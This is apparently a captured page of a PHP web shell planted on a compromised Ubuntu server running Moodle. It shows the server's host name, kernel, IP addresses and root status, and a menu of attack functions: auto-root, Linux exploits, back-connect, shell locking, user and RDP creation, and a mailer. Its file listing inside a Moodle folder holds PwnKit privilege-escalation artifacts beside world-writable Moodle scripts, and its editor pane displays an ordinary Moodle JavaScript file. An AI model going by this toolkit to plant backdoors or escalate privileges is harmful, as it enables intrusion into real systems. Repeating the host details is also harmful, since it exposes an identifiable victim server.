Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
message /
output /
popup /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
notification_area_content_area...
6.53
KB
-rwxrwxrwx
notification_area_control_area...
14.74
KB
-rwxrwxrwx
notification_area_events.js
1.19
KB
-rwxrwxrwx
notification_popover_controlle...
15.16
KB
-rwxrwxrwx
notification_repository.js
3.35
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : notification_repository.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Retrieves notifications from the server. * * @module message_popup/notification_repository * @class notification_repository * @package message_popup * @copyright 2016 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define(['core/ajax', 'core/notification'], function(Ajax, Notification) { /** * Retrieve a list of notifications from the server. * * @param {object} args The request arguments * @return {object} jQuery promise */ var query = function(args) { if (typeof args.limit === 'undefined') { args.limit = 20; } if (typeof args.offset === 'undefined') { args.offset = 0; } var request = { methodname: 'message_popup_get_popup_notifications', args: args }; var promise = Ajax.call([request])[0]; promise.fail(Notification.exception); return promise; }; /** * Get the number of unread notifications from the server. * * @param {object} args The request arguments * @return {object} jQuery promise */ var countUnread = function(args) { var request = { methodname: 'message_popup_get_unread_popup_notification_count', args: args }; var promise = Ajax.call([request])[0]; promise.fail(Notification.exception); return promise; }; /** * Mark all notifications for the given user as read. * * @param {object} args The request arguments: * @return {object} jQuery promise */ var markAllAsRead = function(args) { var request = { methodname: 'core_message_mark_all_notifications_as_read', args: args }; var promise = Ajax.call([request])[0]; promise.fail(Notification.exception); return promise; }; /** * Mark a specific notification as read. * * @param {int} id The notification id * @param {int} timeread The read timestamp (optional) * @return {object} jQuery promise */ var markAsRead = function(id, timeread) { var args = { notificationid: id, }; if (timeread) { args.timeread = timeread; } var request = { methodname: 'core_message_mark_notification_read', args: args }; var promise = Ajax.call([request])[0]; promise.fail(Notification.exception); return promise; }; return { query: query, countUnread: countUnread, markAllAsRead: markAllAsRead, markAsRead: markAsRead, }; });
Close